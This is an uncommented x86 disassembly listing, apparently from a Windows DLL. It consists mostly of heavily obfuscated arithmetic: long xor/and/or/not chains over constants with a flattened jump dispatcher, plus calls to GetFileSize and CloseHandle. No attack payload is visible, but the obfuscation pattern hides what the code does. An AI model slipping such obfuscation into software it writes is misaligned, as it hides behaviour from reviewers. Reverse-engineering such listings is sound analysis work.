and eax, 0x10093d0
or eax, esi
or edx, edi
and edi, 0x567d6009
and ecx, 0xa9829ff6
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
not ecx
and ecx, 0xec9b0c26
and edx, 0x1364f3d9
or edx, ecx
mov eax, ebp
and eax, 0x82fa6003
mov dword [esp + 8], ebx
mov edi, ebx
xor edi, 0x82fa6003
and edi, ebx
or edi, eax
mov eax, edi
mov ecx, edi
xor ecx, 0x82fa6003
xor edi, 0xeef99c43
mov ebx, edi
and ebx, ecx
mov esi, ebx
not esi
mov ebp, esi
and ebp, 0xb777078a
and ebx, 0x4888f875
or ebx, ebp
xor eax, 0x7d059ffc
and edi, eax
mov ebp, edi
not ebp
or esi, ebp
and ebp, 0xb777078a
and edi, 0x4888f875
or edi, ebp
xor edi, ebx
not esi
or esi, edi
and eax, 0x7551cfed
mov edi, ecx
and edi, 0x8aae3012
or edi, eax
mov eax, edi
xor eax, 0x25418984
and ecx, 1
or ecx, eax
mov eax, edx
not eax
xor esi, 0x6c03fc41
xor edi, 0x82221002
and edi, 0xd232566a
and ecx, 0x2dcda995
or ecx, edi
xor ecx, 0x2dcda995
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xb74db16d
and esi, 0x48b24e92
or esi, ecx
mov ebx, esi
xor ebx, 0xb24010
xor esi, 0xb44d816c
and esi, 0xfc4d8fee
and ebx, 0x3b27011
or ebx, esi
mov ecx, edx
and ecx, 0xcc666dd0
mov dword [esp + 0x18], eax
mov esi, eax
and esi, 0x3399922f
or esi, ecx
mov ecx, eax
and ecx, edx
mov edi, ecx
not edi
mov eax, edx
or eax, edi
and edi, 0xcc666dd0
and ecx, 0x3399922f
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov ebp, ebx
xor ebp, 0xfc4d8fee
mov edi, ebx
xor edi, 0x3b27011
xor ebx, 0xbec73202
mov ecx, ebx
and ecx, edi
or ebx, ebp
not ecx
and ecx, 0x428abdec
and ebx, 0xbd754213
or ebx, ecx
mov dword [esp], ebx
mov dword [esp + 0xc], eax
mov ebx, eax
not ebx
and eax, 0xf0bed629
mov esi, ebx
mov dword [esp + 0x10], ebx
and esi, 0xf4129d6
or esi, eax
xor esi, 0x5acfb4d9
and ebx, 0xaa7162f0
or ebx, esi
mov eax, dword [esp + 0x18]
and eax, 0xa2304240
and edx, 0x84120b0
or edx, eax
mov esi, dword [esp]
mov eax, esi
not eax
mov dword [esp + 0x18], eax
and eax, 0xaa7162f0
and esi, 0x558e9d0f
or esi, eax
and ebp, 0x4f3f74c1
and edi, 0xb0c08b3e
or edi, ebp
mov ebp, edi
xor ebp, 0xb0c08b3e
xor edi, 0x4b0c50c1
and edi, 0x6b0cd0d3
mov eax, ebp
and eax, 0x94f32f2c
or eax, edi
xor eax, 0x3e824ddc
and ebp, 0x558e9d0f
or ebp, eax
mov eax, ebx
not eax
mov ecx, ebx
and ecx, 0x9c937e4
xor ebx, 0xedabc2ba
and ebx, eax
mov edi, eax
and edi, 0xf636c81b
or edi, ecx
xor edx, 0x84120b0
or edx, 0x558e9d0f
mov eax, edx
not eax
and edx, 0x695d1329
mov ecx, eax
and ecx, 0x822060d0
or ecx, edx
mov edx, edi
xor edx, 0xf636c81b
xor edi, 0x1b9d0aa1
and edi, edx
or ebx, edi
mov edi, ecx
xor edi, 0x96a2ecd6
xor ecx, 0x2a012664
and ecx, edi
and eax, 0xa82142b0
or eax, ecx
and eax, 0xaa7577f5
xor eax, ebx
or edi, edx
xor eax, 0x10000800
not edi
or edi, eax
not esi
or esi, dword [esp + 0x18]
mov dword [esp + 0x14], esi
mov edx, esi
not edx
mov eax, esi
xor eax, 0xcb1d1bc2
and eax, esi
mov ecx, edx
and ecx, 0xcb1d1bc2
or ecx, eax
mov dword [esp + 0x1c], ecx
mov ecx, ebp
xor ecx, 0xcb1d1bc2
and ecx, ebp
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0x728e6fb9
and ecx, 0x8d719046
or ecx, ebx
mov esi, ebp
mov dword [esp + 0x20], ebp
not ebp
or esi, 0x34e2e43d
or eax, esi
and esi, 0x728e6fb9
mov ebx, ebp
and ebx, 0x89111042
or ebx, esi
xor ebx, ecx
not eax
or eax, ebx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, dword [esp + 0x1c]
xor ecx, eax
mov eax, edx
and eax, 0x879a9d65
mov esi, dword [esp + 0x14]
and esi, 0x7865629a
or esi, eax
or edx, ebp
and ebp, 0x879a9d65
mov eax, dword [esp + 0x20]
and eax, 0x7865629a
or eax, ebp
xor eax, esi
not edx
or edx, eax
not edx
or edx, ecx
mov eax, edi
not eax
mov esi, eax
and esi, 0x87c541cb
mov ecx, edi
and ecx, 0x783abe34
or ecx, esi
mov esi, edx
not esi
xor ecx, 0x87c541cb
or ecx, esi
and esi, 0xcbbd41d3
and edx, 0x3442be2c
or edx, esi
xor edx, eax
xor edx, 0x3442be2c
and edx, edi
mov eax, edx
not eax
mov esi, eax
and esi, 0xf7b4d0ac
and edx, 0x84b2f53
or edx, esi
xor edx, ecx
or eax, ecx
xor edx, 0x84b2f53
not eax
or eax, edx
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0xc]
mov edi, ecx
xor edi, 0xc89dc00
and edi, ecx
mov eax, dword [esp + 0x10]
and eax, 0xc8e186c0
and ecx, 0x371e793f
or ecx, eax
mov esi, ecx
xor esi, 0x371e793f
mov edx, esi
and edx, 0xc89dc00
or edi, edx
mov eax, dword [esp]
mov edx, eax
or edx, 0xa1340300
and edx, 0xa135d700
mov ebp, dword [esp + 0x18]
mov ebx, ebp
and ebx, 0xc880800
or ebx, edx
mov edx, ebp
or edx, 0x1d400
and edx, 0xa135d700
mov ebp, eax
and ebp, 0x524220ff
or ebp, edx
xor ebp, ebx
mov edx, ebp
xor edx, ebp
not edx
and edx, edi
xor edx, ebp
xor ecx, 0xc8e186c0
mov edi, ecx
and edi, 0xd4d60627
and esi, 0x2b29f9d8
or esi, edi
or ecx, eax
and eax, 0xd4d60627
mov ebx, dword [esp + 0x18]
and ebx, 0x2b29f9d8
or ebx, eax
xor ebx, esi
not ecx
or ecx, ebx
mov esi, edx
not esi
mov edi, esi
and edi, 0x429c4a01
and edx, 0xbd63b5fe
or edx, edi
xor edx, ecx
xor edx, 0xbd63b5fe
or esi, ecx
not esi
or esi, edx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x8c240008
and esi, 0x41908400
or esi, edx
xor esi, 0x41908400
and ecx, 0x324b7bf7
or ecx, esi
mov eax, dword [esp + 0x14]
mov esi, eax
not esi
mov ebp, ecx
not ebp
mov edx, ecx
xor edx, 0x3685848d
and edx, ebp
and ecx, 0xc97a7b72
or ecx, edx
mov edi, eax
xor edi, 0x3685848d
and edi, esi
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x57384087
and edi, 0xa8c7bf78
or edi, ebx
or ebp, esi
or esi, 0x3685848d
or edx, esi
and esi, 0x57384087
and eax, 0x88423b70
or eax, esi
xor eax, edi
not edx
or edx, eax
mov eax, ecx
xor eax, ecx
not eax
and eax, edx
xor eax, ecx
not ebp
or ebp, eax
mov edx, dword [esp + 4]
mov eax, edx
and eax, 0x4a3769e1
mov esi, dword [esp + 8]
mov ecx, esi
and ecx, 0xb5c8961e
or ecx, eax
mov eax, ecx
xor eax, 0xb000821e
xor ecx, 0x8314941
and ecx, 0xdf95d41
and eax, 0xf206a2be
or eax, ecx
mov ecx, eax
xor ecx, 0x841
xor eax, 0x10022004
and ecx, 0xc00008cb
and eax, 0x18a22404
or eax, ecx
mov ecx, eax
xor ecx, 0x18a22404
xor eax, 0x261508e8
and edx, 0x2055c337
and esi, 0xdfaa3cc8
or esi, edx
mov edx, esi
xor edx, 0xdfaa3cc8
xor esi, 0x400035
and esi, 0x95401cb5
mov edi, esi
mov esi, edx
and esi, 0x6abfe34a
or esi, edi
xor esi, 0x4de2307a
and edx, 0xd8a22ccf
or edx, esi
mov esi, edx
not esi
mov edi, ecx
xor edi, edx
and edi, ecx
and eax, 0x361708e8
and ecx, 0xc8a02407
or ecx, eax
and edx, 0x361708e8
and esi, 0xc9e8f717
or esi, edx
xor esi, ecx
mov ecx, edi
not ecx
mov eax, esi
not eax
mov edx, ecx
and edx, 0x4b588c01
and edi, 0x90a220ce
or edi, edx
or ecx, eax
and eax, 0x4b588c01
and esi, 0xb4a773fe
or esi, eax
xor esi, edi
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
or edx, 0x48029080
mov esi, ecx
or esi, 0x3110872
and esi, 0x4b1398f2
and eax, 0x304c200c
or eax, esi
and edx, 0x4b1398f2
and ecx, 0x84a04701
or ecx, edx
xor ecx, eax
mov eax, ecx
mov ebx, ecx
xor eax, 0x5f1363bc
mov ecx, ebp
not ecx
mov edx, ebp
mov dword [esp + 0x18], ebp
and edx, 0x5f3b6037
mov esi, ecx
mov dword [esp], ecx
and esi, 0xa0c49fc8
or esi, edx
mov edx, esi
xor edx, 0x552a4035
xor esi, 0x80801208
and esi, 0x8a91320a
and edx, 0x756ecdf5
or edx, esi
mov esi, edx
xor esi, 0x44660934
and esi, 0x4cf70b3c
xor edx, 0x82003002
and edx, 0xb308f4c3
or edx, esi
mov edi, edx
xor edi, 0x4cf70b3c
and edi, edx
mov esi, ecx
or esi, 0x8000e442
mov edx, ebp
and edx, 0x44330a08
and esi, 0x88c4e576
or esi, edx
mov ecx, ebx
xor ecx, 0xa0ec9c43
mov ebx, eax
and ebx, 0x830884c1
mov edx, ecx
and edx, 0x30007002
or edx, ebx
mov ebx, edx
xor ebx, 0x30004002
or ebx, 0x44040118
xor edx, 0x3088080
and edx, 0x308b080
and ebx, 0xf404455b
or ebx, edx
mov edx, ecx
and edx, 0xcbb36cf5
and eax, 0x344c930a
or eax, edx
xor eax, 0x78bb9836
xor ecx, eax
and ecx, eax
mov dword [esp + 4], ecx
mov ebp, edi
not ebp
mov eax, ebp
and eax, 0xf3a8f255
mov edx, edi
and edx, 0xc570daa
or edx, eax
mov eax, edx
xor eax, 0xc570daa
mov dword [esp + 8], eax
xor edx, 0xd0abdc54
and edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x4e2ec00f
and edx, 0xb1d13ff0
or edx, eax
or ebp, 0x23032e01
or ecx, ebp
and ebp, 0x4e2ec00f
and edi, 0x90d011f0
or edi, ebp
xor edi, edx
not ecx
or ecx, edi
mov ebp, esi
xor ebp, 0x88c4e576
mov edx, esi
xor edx, 0x773b1a89
xor esi, 0x8c70b34
and esi, ebp
or ebp, 0xdcfcd1fe
mov eax, ebp
and eax, 0xcc1a8310
mov edi, dword [esp + 8]
or edi, edx
and edx, 0x21012800
or edx, eax
mov eax, esi
not eax
or ebp, eax
and eax, 0xce1a8711
and esi, 0xe5082c
or esi, eax
xor esi, edx
not ebp
or ebp, esi
mov eax, ebp
xor eax, ebp
not eax
and eax, ecx
xor eax, ebp
mov ecx, ebx
xor ecx, 0xf404455b
not edi
or edi, eax
mov esi, ebx
xor esi, 0xbfbbaa4
xor ebx, 0x2200e442
and ebx, ecx
mov eax, esi
and eax, 0x92b4a825
or ebx, eax
mov ecx, dword [esp + 4]
mov eax, ecx
xor eax, 0x92b4a825
and eax, ecx
not ecx
or esi, ecx
and ecx, 0x92b4a825
or eax, ecx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, ebx
xor ecx, eax
not esi
or esi, ecx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x8fe29467
mov edx, edi
and edx, 0x701d6b98
or edx, ecx
mov ecx, edx
xor ecx, 0x10004200
xor edx, 0x21002
or eax, 0x401a389a
or edx, 0x8048500
and edx, 0x481ebd9a
and ecx, 0x11604225
or ecx, edx
mov edx, esi
not edx
and eax, 0x481ebd9a
and edi, 0xa6810040
or edi, eax
mov eax, esi
or eax, 0xa6040140
xor edi, ecx
mov ecx, edx
or ecx, 0x50026093
and eax, 0xf60661d3
and edx, 0x1781a2c
or edx, eax
and ecx, 0xf60661d3
and esi, 0x8818400
or esi, ecx
xor esi, edx
xor esi, edi
mov ecx, esi
not ecx
mov eax, esi
xor eax, 0xd507e4c9
and eax, esi
or esi, 0x2af81b36
mov edx, eax
not edx
mov edi, esi
and edi, 0x1f3d6d99
and ecx, 0xc0028040
or ecx, edi
or esi, edx
and edx, 0x1f3d6d99
and eax, 0xe0c29266
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov ecx, esi
xor ecx, 0xa081202
mov edx, dword [esp]
and edx, 0xf711c0d2
mov eax, dword [esp + 0x18]
and eax, 0x8ee3f2d
or eax, edx
mov ebx, eax
xor ebx, 0x8ee3f2d
mov ebp, eax
mov edx, eax
xor ebp, 0xf711c0d2
mov edi, esi
xor edi, 0xd507e4c9
mov eax, edi
and eax, 0xf1f6cd34
and ecx, 0xe0932cb
or ecx, eax
mov eax, ecx
xor eax, 0xe0932cb
xor ecx, 0x20d04051
and ecx, eax
or eax, ebp
and ebp, 0xd1268d65
xor edx, 0xd9c8b248
and edx, ebx
or edx, ebp
mov ebp, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x724d947a
and ecx, 0x8db26b85
or ecx, ebx
or edi, 0xd1268d65
xor esi, 0x8900200
or edx, edi
and edi, 0x724d947a
and esi, 0xc906280
or esi, edi
xor esi, ecx
not edx
or edx, esi
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xfe8c9e84
and eax, 0x173617b
or eax, ecx
xor eax, 0x173617b
setne cl
sete dh
cmp dword [0x10047904], 0xa
setge ah
setl dl
mov al, dh
or al, dl
xor al, 1
mov ch, ah
or ch, cl
xor ch, 1
or ch, al
mov bl, ch
xor bl, 1
mov al, bl
and al, ch
mov bh, bl
xor bh, al
xor al, 1
or al, ch
xor al, 1
or al, bh
mov bh, al
xor bh, 1
and bh, dl
and al, ah
or al, bh
xor al, bl
and al, ch
mov ch, cl
xor ch, ah
and ch, cl
and dl, dh
and cl, ah
or cl, dl
or cl, ch
mov ch, cl
xor ch, 1
mov dl, ah
xor dl, dh
or ah, dh
xor ah, 1
or ah, dl
xor dl, 1
mov dh, dl
xor dh, ah
or dl, ah
xor dl, 1
or dl, dh
mov ah, dl
xor ah, 1
mov dh, dl
and dh, cl
and ch, ah
or ch, dh
xor ch, 1
or ch, cl
and dl, ah
xor dl, 1
mov dh, ah
xor dh, dl
or dl, ah
mov ah, ch
xor ah, 1
xor dl, 1
or dl, dh
xor dl, cl
mov dh, dl
xor dh, 1
mov cl, ah
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, ah
mov ch, cl
xor ch, 1
and ch, dl
and cl, dh
or cl, ch
mov ch, ah
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov dh, dl
and dh, cl
xor dh, 1
mov ah, cl
xor ah, dh
or dh, cl
xor dh, 1
or dh, ah
mov ch, al
xor ch, 1
xor dh, 1
mov ah, ch
xor ah, dh
or dh, al
xor dh, 1
and ah, al
or ah, dh
xor ah, 1
or ah, ch
or ch, cl
xor ch, 1
mov cl, al
xor cl, dl
or ch, cl
xor ch, 1
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
mov al, dl
xor al, ah
xor ah, 1
xor al, 1
mov cl, ah
or cl, dl
xor cl, 1
or cl, al
xor cl, 1
xor ah, dl
mov al, cl
xor al, ah
or ah, cl
xor ah, 1
or ah, al
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0x930a2dd2
mov edx, 0xb209d977
cmovne ecx, edx
test ah, 1
mov edi, 0x930a2dd2
cmovne edi, ecx
test al, 1
cmove edi, ecx
mov dword [esp + 0x18], 1
jmp 0x10008b80
mov edi, 0x13fa398c
push 0
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x34], eax
jmp 0x10008b80
cmp byte [esp + 0x3b], 0
mov edi, 0xb2220245
mov eax, 0x534cdb7a
cmovne edi, eax
jmp 0x10008b80
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0xaf75a530
mov dword [esp + 0x18], 1
jmp 0x10008b80
mov eax, dword [0x10047900]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xd013693d
mov edi, ecx
and edi, 0x2fec96c2
or edi, edx
mov esi, edi
xor esi, 0x2d089000
xor edi, 0x136939
and edi, 0x2f76ffb
and esi, 0xfd089004
or esi, edi
mov edx, esi
xor edx, 0x864763
xor esi, 0x7d001000
and esi, 0x7f713898
and edx, 0x808ec767
or edx, esi
mov esi, edx
xor esi, 0x808ec767
xor edx, 0x7f713898
mov edi, esi
and edi, edx
and esi, 0xe17c68ac
and edx, 0x1e839753
or edx, esi
mov ebx, edx
xor ebx, 0x6144282c
mov esi, edi
not esi
xor edx, 0x1e839753
mov ebp, esi
and ebp, 0x8a3a46d3
and edi, 0x75c5b92c
or edi, ebp
or esi, edx
and edx, 0x8a3a46d3
and ebx, 0x75c5b92c
or ebx, edx
xor ebx, edi
not esi
or esi, ebx
mov edi, esi
not edi
and esi, 0xe4c559e
and edi, 0xf1b3aa61
or edi, esi
mov edx, edi
xor edx, 0xe4c110e
xor edi, 0x4182a201
and edi, 0x4182e691
and edx, 0xbe7d196e
or edx, edi
mov esi, edx
xor esi, 0x4182e691
xor edx, 0xbe7d196e
mov edi, edx
and edi, 0x37b373fb
and edx, esi
and esi, 0xc84c8c04
or esi, edi
mov edi, esi
xor edi, 0x400c00
xor esi, 0x37b373fb
mov ebx, edx
not ebx
mov ebp, esi
and ebp, 0xda8ed387
and edi, 0x25712c78
or edi, ebp
or esi, ebx
and ebx, 0xda8ed387
and edx, 0x25712c78
or edx, ebx
xor edx, edi
not esi
or esi, edx
mov edx, esi
not edx
and esi, 0xcb2aad6d
and edx, 0x34d55292
or edx, esi
mov ebx, ecx
xor ebx, 0xad13a9ad
and ebx, ecx
mov edi, ecx
or edi, 0x52ec5652
mov esi, edi
and esi, 0x618b402c
mov ebp, eax
and ebp, 0x8c10a981
or ebp, esi
mov esi, ebx
not esi
or edi, esi
and esi, 0x618b402c
and ebx, 0x9e74bfd3
or ebx, esi
mov esi, edx
xor esi, 0x34d55292
xor edx, 0xcb2aad6d
xor ebx, ebp
not edi
or edi, ebx
mov ebx, edi
xor ebx, 0x52a85652
xor edi, 0xad13a9ad
mov ebp, edi
and ebp, 0xa945a005
and ebx, 0x56ba5ffa
or ebx, ebp
and ecx, 0xa945a005
and eax, 0x56ba5ffa
or eax, ecx
xor eax, ebx
not eax
or eax, edi
mov ecx, eax
not ecx
mov edi, eax
and edi, 0x1fb41457
mov ebp, edx
and ebp, 0x610a0c8e
mov ebx, esi
and ebx, 0x9ef5f371
or ebx, ebp
xor ebx, eax
xor ebx, 0x9ef5f371
and ebx, ecx
and ecx, 0xe04beba8
or ecx, edi
mov edi, ecx
xor edi, 0x4ba888
mov ebp, edx
and ebp, 0xfba05331
xor eax, edx
and eax, esi
and esi, 0x45facce
or esi, ebp
xor ecx, 0x1ba01011
and ecx, 0xfba05331
and edi, 0x45facce
or edi, ecx
xor edi, esi
mov esi, edi
xor esi, edx
and esi, edi
mov edx, ebx
not edx
mov ecx, eax
not ecx
mov edi, edx
and edi, 0xe35f2bc2
and ebx, 0x1ca0d43d
or ebx, edi
or edx, ecx
and ecx, 0xe35f2bc2
and eax, 0x1ca0d43d
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, esi
xor ecx, eax
and ecx, esi
xor eax, edx
and eax, esi
xor eax, edx
mov ebx, ecx
not ebx
mov esi, eax
not esi
mov edi, ebx
and edi, 0xa9509fcf
and ecx, 0x56af6030
or ecx, edi
or ebx, esi
and esi, 0xa9509fcf
and eax, 0x56af6030
or eax, esi
xor eax, ecx
not ebx
or ebx, eax
mov edx, ebx
not edx
mov esi, ebx
or esi, 0x4c005148
mov ecx, ebx
xor ecx, 0x33feaab4
and ecx, ebx
mov eax, ebx
mov edi, ecx
not edi
and esi, 0x5edefb6c
mov ebx, edx
and ebx, 0x21200090
or ebx, esi
mov esi, eax
mov dword [esp], eax
or esi, edi
and edi, 0x5edefb6c
and ecx, 0xa1210493
or ecx, edi
xor ecx, ebx
not esi
or esi, ecx
not ecx
and ecx, 0x8c005008
and esi, 0x310020b0
or esi, ecx
mov ecx, edx
and ecx, 0x40f68b03
and eax, 0x2090444
or eax, ecx
xor eax, 0x2090444
or eax, esi
mov ecx, eax
not ecx
mov esi, ecx
mov ebp, ecx
mov dword [esp + 4], ecx
and esi, 0x64f8465c
mov ecx, eax
xor ecx, 0x64f8465c
and ecx, eax
or ecx, esi
mov ebx, ecx
xor ebx, 0x9e7ba789
xor ecx, 0x60040046
mov esi, ebx
and esi, 0x1df97a38
and ecx, 0xe20685c7
or ecx, esi
mov esi, eax
mov dword [esp + 8], eax
and esi, 0x1df97a38
mov edi, ebp
and edi, 0xe20685c7
or edi, esi
xor edi, ecx
or ebx, eax
not ebx
or ebx, edi
mov ecx, edx
and ecx, 0x6b7e9da9
mov eax, dword [esp]
mov esi, eax
and esi, 0x94816256
or esi, ecx
mov ecx, esi
xor ecx, 0x4800000
xor esi, 0xa120801
or esi, 0x802c921c
and esi, 0x9a3efa5f
and ecx, 0x24c005a0
or ecx, esi
mov edi, edx
or edi, 0x1a126843
and edi, 0x9a3efa5f
mov esi, eax
and esi, 0x41010000
or esi, edi
xor esi, ecx
mov edi, ebx
not edi
xor esi, 0xc4518c36
and edx, 0x33e79961
and eax, 0xcc18669e
or eax, edx
xor eax, 0xcc18669e
or eax, esi
mov edx, eax
mov eax, edi
and eax, 0x62d67ddd
mov ecx, ebx
and ecx, 0x9d298222
or ecx, eax
mov eax, ebx
and eax, edi
mov esi, eax
not esi
mov ebp, edi
or ebp, esi
and esi, 0x62d67ddd
and eax, 0x9d298222
or eax, esi
xor eax, ecx
not ebp
or ebp, eax
mov esi, edx
not esi
mov eax, edx
mov dword [esp], edx
and eax, 0x37f2d6dd
mov ecx, esi
and ecx, 0xc80d2922
or ecx, eax
xor ecx, 0xc80d2922
mov eax, edx
and eax, esi
or eax, ecx
mov dword [esp + 0xc], eax
not eax
mov ecx, ebp
xor ecx, eax
and ecx, ebp
mov dword [esp + 0x10], ecx
mov edx, eax
and eax, ebp
mov dword [esp + 0x14], eax
mov eax, ebp
mov ecx, ebp
not ecx
mov ebp, ecx
and ebp, 0x12765f1d
and eax, 0xed89a0e2
or eax, ebp
and ebx, 0x6d9783db
and edi, 0x92687c24
or edi, ebx
mov ebx, edi
xor ebx, 0x92687c24
xor edi, 0x4d87020a
and edi, 0xdf8f3a0a
mov ebp, ebx
and ebp, 0x2070c5f5
or ebp, edi
xor ebp, 0x32069ae8
and ebx, 0xed89a0e2
or ebx, ebp
not eax
or eax, ecx
and edx, 0xc39a2ad1
mov edi, dword [esp + 0xc]
and ecx, edi
mov dword [esp + 0x1c], ecx
and edi, 0x3c65d52e
or edi, edx
mov ecx, dword [esp]
and ecx, 0x220570c
and esi, 0x10560811
or esi, ecx
mov dword [esp], esi
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xc470c01a
xor eax, 0x7e0151b1
and eax, ecx
and ecx, 0x3b8f3fe5
or ecx, edx
mov edx, ecx
xor edx, 0x3b8f3fe5
mov ebp, edx
and ebp, 0x81feae4e
or eax, ebp
mov esi, ebx
not esi
mov ebp, ebx
xor ebp, 0x7e0151b1
and ebp, ebx
mov dword [esp + 0xc], ebp
mov ebp, esi
and ebp, 0x7e0151b1
or ebp, dword [esp + 0xc]
xor ebp, eax
xor ecx, 0xc470c01a
mov eax, ecx
and eax, 0xdae8971a
and edx, 0x251768e5
or edx, eax
or ecx, esi
and esi, 0xdae8971a
and ebx, 0x251768e5
or ebx, esi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ebp
not edx
mov eax, edx
and eax, 0xe405a3c6
and ebp, 0x1bfa5c39
or ebp, eax
xor ebp, ecx
or edx, ecx
xor ebp, 0x1bfa5c39
not edx
or edx, ebp
mov dword [esp + 0xc], edx
mov esi, edi
xor esi, 0x3c65d52e
mov eax, esi
or eax, 0x204d1c
mov ebx, edi
xor ebx, 0x41882080
and eax, 0xa420cd5c
and ebx, 0x498920a2
or ebx, eax
mov eax, ebx
xor eax, 0x5bdf32a3
mov dword [esp + 0x20], eax
mov ebp, ebx
xor ebp, 0x72ed5157
and ebp, eax
mov ecx, ebp
not ecx
mov eax, ecx
and eax, 0x8db3a344
and ebp, 0x700c04a3
or ebp, eax
or esi, 0xd6ffdf1f
xor edi, 0x80
or ecx, esi
and esi, 0x8ff3bb4c
and edi, 0x200000a0
or edi, esi
xor edi, ebp
not ecx
or ecx, edi
mov edx, dword [esp]
xor edx, 0x10560811
or edx, 0xed89a0e2
mov dword [esp], edx
mov esi, edx
xor esi, 0x293263f4
mov ebp, esi
and ebp, edx
mov edi, ebp
not edi
mov eax, edi
and eax, 0x2a101f7d
and ebp, 0xd0e6c000
or ebp, eax
not edx
and esi, edx
mov eax, esi
not eax
or edi, eax
and eax, 0x2e191f7f
and esi, 0x10664000
or esi, eax
xor esi, ebp
not edi
or edi, esi
xor edi, ecx
xor ebx, 0xa420cd5c
mov eax, ebx
and eax, 0xe4892060
mov ecx, dword [esp + 0x20]
and ecx, 0xb629786
or ecx, eax
or ebx, edx
and edx, 0x10144819
mov eax, dword [esp]
and eax, 0xb629786
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
not ebx
or ebx, edi
mov ecx, dword [esp + 0xc]
xor ecx, 0xcca20845
xor ebx, 0xcca20845
mov eax, ebx
xor eax, ebx
not eax
and eax, ecx
xor eax, ebx
mov edi, dword [esp + 0x14]
or edi, dword [esp + 0x1c]
or edi, dword [esp + 0x10]
mov ecx, edi
not ecx
and ecx, 0x9356bfd9
and edi, 0x6ca94026
or edi, ecx
mov ecx, edi
xor ecx, 0x9356bfd9
xor edi, 0x44a04000
mov edx, eax
not edx
mov esi, edx
or esi, ecx
not esi
and edx, 0xba492d3e
and eax, 0x45b6d2c1
or eax, edx
and ecx, 0xba492d3e
and edi, 0x45b6d2c1
or edi, ecx
xor edi, eax
or edi, esi
mov edx, edi
not edx
mov eax, edi
mov ecx, edx
and ecx, edi
mov esi, edx
and esi, 0x693bb838
and edi, 0x96c447c7
or edi, esi
xor edi, 0x6c47a613
or edi, edx
and edx, 0x6e9b3409
and eax, 0x9164cbf6
or eax, edx
xor eax, 0x9164cbf6
or ecx, eax
mov edx, ecx
not edx
and ecx, 0xd281d670
mov eax, edx
and eax, 0x2d7e298f
or eax, ecx
xor eax, 0xd7fdc85b
and edx, 0x57c1e2b
or edx, eax
mov eax, edx
xor eax, 0xf0ba0338
xor eax, edx
xor eax, 0xf45fcc7
and eax, edi
xor eax, edx
or edx, edi
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x3a17c7d9
and eax, 0xc5e83826
or eax, ecx
xor eax, edx
xor eax, 0xc5e83826
or esi, edx
not esi
or esi, eax
mov dword [esp + 0xc], esi
mov edi, dword [esp + 8]
mov eax, edi
and eax, 0x2f4aa706
mov ebp, dword [esp + 4]
mov ecx, ebp
and ecx, 0xd0b558f9
or ecx, eax
mov eax, ecx
xor eax, edi
and eax, ecx
mov ecx, ebp
and ecx, 0xe4f2ac46
mov edx, edi
and edx, 0x1b0d53b9
or edx, ecx
xor edx, 0x3447f4bf
mov ecx, edx
xor ecx, ebp
and ecx, edx
mov esi, eax
not esi
mov ebx, ecx
not ebx
and ecx, esi
or esi, ebx
and ebx, eax
or ebx, ecx
mov edx, ebx
not edx
mov eax, edx
and eax, 0xca1197ed
and ebx, 0x35ee6812
or ebx, eax
xor ebx, esi
xor ebx, 0x35ee6812
or edx, esi
not edx
or edx, ebx
mov esi, edx
xor esi, 0xc0044070
mov eax, edi
or eax, 1
and edi, 0x571af94b
mov ecx, ebp
and ecx, 0xa8e506b4
or ecx, edi
mov ebx, eax
and ebx, 0x8b200a1d
and ebp, 0x74dff5e2
or ebp, ebx
mov ebx, ecx
xor ebx, 0x20c504a0
xor ecx, 0x571af94a
or eax, ecx
and ecx, 0x8b200a1d
and ebx, 0x74dff5e2
or ebx, ecx
xor ebx, ebp
not eax
or eax, ebx
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0x885c020c
mov ebp, eax
and ebp, 0x5120cd02
or ebp, ebx
mov ebx, ebp
xor ebx, 0x11008502
xor ebp, 0xe962258
or ecx, 0x48344a08
and ebp, 0x4eb66a58
and ebx, 0x91488506
or ebx, ebp
and ecx, 0x4eb66a58
and eax, 0x200110a1
or eax, ecx
xor eax, ebx
mov ecx, eax
xor ecx, 0x24831080
xor eax, 0xc97cc80c
and eax, 0xcb7ce87d
and ecx, 0x34831782
or ecx, eax
mov ebx, ecx
xor ebx, 0x24831202
xor ecx, 0x80506061
and ecx, 0x905065e1
and ebx, 0x6faf9a1e
or ebx, ecx
mov eax, ebx
xor eax, 0x80106101
xor ebx, 0x448a180c
and ebx, 0x54ca1cec
and eax, 0xab35e313
or eax, ebx
mov ecx, eax
xor ecx, 0xa9044212
xor eax, 0x54ca1cec
xor edx, 0x2f4aa707
mov ebx, edx
or ebx, eax
and edx, 0x12b1bd8d
and esi, 0xed4e4272
or esi, edx
and eax, 0x12b1bd8d
and ecx, 0xed4e4272
or ecx, eax
xor ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0xf5425689
and ecx, 0xabda976
or ecx, edx
xor ecx, ebx
xor ecx, 0xabda976
or eax, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
